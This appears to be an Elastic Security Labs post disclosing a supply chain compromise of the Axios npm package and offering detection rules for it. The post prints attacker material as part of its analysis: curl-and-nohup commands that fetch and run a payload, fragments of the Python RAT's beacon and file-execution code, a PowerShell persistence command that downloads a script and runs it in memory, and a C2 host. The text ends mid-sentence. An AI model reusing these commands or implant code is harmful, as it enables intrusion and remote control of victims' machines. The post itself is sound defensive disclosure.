Back to Feed
Supply ChainMar 31, 2026

Elastic releases detections for the Axios supply chain compromise — Elastic Security Labs

Elastic releases detection rules for Axios npm package supply chain compromise

Summary

Elastic Security Labs discovered a supply chain attack targeting the Axios npm package (versions 1.14.1, 0.30.4) that injects a malicious transitive dependency (plain-crypto-js@4.2.1) to execute cross-platform payloads during installation. The attack uses a multi-stage delivery mechanism: npm install triggers postinstall execution, which spawns OS-native shells to retrieve and execute remote payloads, ultimately deploying a Python-based RAT on Linux and PowerShell-based implants on Windows. Elastic has released behavioral detection rules to catch the characteristic process chains (Node.js → shell → remote fetch → backgrounded execution) across all platforms.

Full text

1 April 2026•Ruben Groenewoud•Samir Bousseaden•Salim Bitam•Joe Desimone•Colson Wilhoit•Andrew PeaseElastic releases detections for the Axios supply chain compromiseHunting and detection rules for the Elastic-discovered Axios supply chain compromise.6 min readDetection Engineering, Product Updates, Threat IntelligenceIntroduction Elastic Security Labs is releasing an initial triage and detection rules for the Axios supply-chain compromise. We will release a detailed analysis in a future publication, but we wanted to get detection and coverage information out immediately. Elastic Security Labs filed a GitHub Security Advisory to the axios repository on March 31, 2026 at 01:50 AM UTC to coordinate disclosure and ensure the maintainers and npm registry could act on the compromised versions. We are currently tracking a supply chain attack involving malicious Axios package versions that introduce a secondary dependency used for post-install execution. Rather than embedding malicious logic directly into the primary package, the attacker leveraged a transitive dependency to trigger execution during installation and deploy a cross-platform payload. Elastic observed consistent execution patterns across impacted systems immediately after npm install of the malicious Axios versions (1.14.1, 0.30.4). The added dependency (plain-crypto-js@4.2.1) executed during postinstall and was quickly followed by a second-stage payload. Across Linux, Windows, and macOS, the activity followed the same structure: node (npm install) → OS-native execution (sh / cscript / osascript) → remote payload retrieval → backgrounded or hidden execution of stage 2 This results in a small but high-signal window where: node spawns a shell or interpreter a remote payload is fetched execution is detached from the original process Elastic detections triggered reliably on this behavior across platforms, providing strong coverage of the delivery stage. How Elastic Detects the Supply Chain Attack This activity consistently appears in process telemetry as a Node.js process spawning an OS-native execution path to retrieve and execute a remote payload, often in a detached or hidden context. Elastic detections focus on this behavior rather than static indicators, providing reliable coverage of the delivery stage across platforms. Linux The Linux execution path is the cleanest place to start, because the malware does very little to hide what it is doing. We observed that the delivery stage produced exactly the kind of process ancestry you would expect from a compromised dependency: node → /bin/sh -c curl -o /tmp/ld.py ... && nohup python3 /tmp/ld.py ... & Which shows up as follows: The initial signal comes from the Node.js process, handing off execution to a shell that performs a remote fetch. This is captured by the Curl or Wget Spawned via Node.js detection rule. event.category:process and process.parent.name:("node" or "bun" or "node.exe" or "bun.exe") and ( ( process.name:( "bash" or "dash" or "sh" or "tcsh" or "csh" or "zsh" or "ksh" or "fish" or "cmd.exe" or "bash.exe" or "powershell.exe" ) and process.command_line:(*curl*http* or *wget*http*) ) or process.name:("curl" or "wget" or "curl.exe" or "wget.exe") ) This captures the moment when the installation flow deviates from normal package behavior and begins pulling a payload over HTTP. In this case, it is the curl invocation that retrieves /tmp/ld.py from the remote server. Shortly after, execution continues in the same shell, but now the focus shifts from retrieval to execution. This is picked up by Process Backgrounded by Unusual Parent. event.category:process and event.type:start and process.name:(bash or csh or dash or fish or ksh or sh or tcsh or zsh) and process.args:(-c and *&) Which captures the second half of the chain: sh -c "... && nohup python3 /tmp/ld.py ... &" The payload is launched with nohup and backgrounded immediately using &, detaching it from the parent process and suppressing output. That transition from a short-lived install-time shell into a detached long-running process is where the actual implant takes over. After execution, the Linux second stage is a Python-based RAT that establishes a simple polling loop to its C2. The entrypoint work() sends an initial FirstInfo message and then transitions into main_work(), which continuously reports host data and processes tasking: while True: ps = print_process_list() data = { "hostname": get_host_name(), "username": get_user_name(), "os": os, "processList": ps } response_content = send_result(url, body) if response_content: process_request(url, uid, response_content) time.sleep(60) On first check-in, it performs a targeted directory enumeration via init_dir_info() across user paths such as $HOME, .config, Documents, and Desktop, and builds a process listing directly from /proc, including usernames and start times. Tasking is minimal but flexible. runscript supports arbitrary shell execution or base64-delivered Python via python3 -c, while peinject simply writes attacker-supplied bytes to a hidden file in /tmp and executes it: file_path = f"/tmp/.{generate_random_string(6)}" with open(file_path, "wb") as file: file.write(payload) os.chmod(file_path, 0o777) subprocess.Popen([file_path] + shlex.split(param.decode("utf-8"))) This provides the operator with a lightweight access implant for periodic host profiling, command execution, and follow-on payload delivery. Together, these detections provide strong coverage of the Linux delivery stage and the transition into the Python backdoor, without relying on specific filenames or hardcoded indicators: Curl or Wget Spawned via Node.js Process Backgrounded by Unusual Parent Windows The Windows execution path follows the same pattern: it uses curl to download a remote PowerShell script and proxy execution via a renamed PowerShell (C:\ProgramData\wt.exe). The following alert shows the process chain: Where: wt.exe is a renamed copy of PowerShell.exe located in C:\ProgramData\wt.exe curl is used to retrieve a remote PowerShell script execution is performed via the renamed binary We first observe the creation and use of the renamed interpreter. This is captured by Execution via Renamed Signed Binary Proxy, which flags signed system binaries executed from unexpected locations. Shortly after, the same binary is used to retrieve the second-stage payload over HTTP. This is picked up by Potential File Transfer via Curl for Windows, capturing the network retrieval stage driven from the scripted execution chain. The second stage is a PowerShell-based RAT that beacons to its C2 (http[:]//sfrclak[.]com:8000/) every 60 seconds over HTTP using a fake IE8 User-Agent and base64-encoded JSON. It establishes persistence via Run\MicrosoftUpdate registry key to execute a hidden bat script C:\ProgramData\system.bat: The batch file dynamically retrieves and executes the payload in memory on login: start /min powershell -w h -c " ([scriptblock]::Create( [System.Text.Encoding]::UTF8.GetString( (Invoke-WebRequest -UseBasicParsing -Uri '' -Method POST -Body 'packages.npm.org/product1').Content ) )) ''" Its core capabilities include: peinject - in-memory .NET assembly injection using Assembly.Load(byte[]) for process hollowing into cmd.exe. runscript - arbitrary PowerShell script execution via encoded commands or temp files, rundir - filesystem enumeration of user directories and all drive roots. On initialization, it fingerprints the host via WMI, collecting hostname, username, OS version, CPU, hardware model, timezone, boot/install times, and a full process listing, and sends an initial directory listing of Documents, Desktop, OneDrive, and AppData before entering its beacon loop. The second stage triggers both the Startup Persistence via Windows Script Interpreter and Suspicious String Value Written to Registry Run Key alerts: The Suspicious PowerShell Base64 Decoding rule alert captures the PowerShell RAT script content : Taken together, these detections capture t

Indicators of Compromise

  • malware — plain-crypto-js@4.2.1
  • malware — Axios npm package versions 1.14.1, 0.30.4
  • malware — Python-based RAT
  • malware — wt.exe (renamed PowerShell)